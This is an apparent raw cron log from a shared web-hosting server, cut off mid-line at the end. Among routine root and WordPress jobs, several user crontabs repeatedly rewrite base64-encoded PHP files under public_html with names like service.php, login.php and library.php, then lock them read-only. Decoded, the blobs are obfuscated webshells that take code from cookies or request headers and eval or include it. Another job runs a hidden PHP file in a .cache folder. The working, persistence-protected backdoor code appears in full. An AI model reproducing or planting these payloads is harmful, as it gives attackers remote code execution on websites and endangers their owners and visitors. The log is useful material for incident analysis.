Mar  1 19:47:01 medusa CROND[24027]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:47:01 medusa CROND[24028]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:47:01 medusa CROND[24029]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:47:01 medusa CROND[24030]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:47:01 medusa CROND[24042]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:47:01 medusa CROND[24044]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:47:01 medusa CROND[24045]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 19:47:01 medusa CROND[24048]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:48:01 medusa CROND[29974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:48:01 medusa CROND[30118]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:48:01 medusa CROND[30160]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:48:01 medusa CROND[30163]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 19:48:01 medusa CROND[30164]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:48:01 medusa CROND[30165]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:48:01 medusa CROND[30172]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:48:01 medusa CROND[30173]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:48:01 medusa CROND[30174]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:48:01 medusa CROND[30176]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:48:01 medusa CROND[30179]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 19:48:01 medusa CROND[30177]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:48:01 medusa CROND[30180]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:49:01 medusa CROND[6468]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:49:01 medusa CROND[6469]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:49:01 medusa CROND[6471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:49:01 medusa CROND[6472]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:49:01 medusa CROND[6482]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:49:01 medusa CROND[6485]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:49:01 medusa CROND[6486]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:49:01 medusa CROND[6487]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:49:01 medusa CROND[6488]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 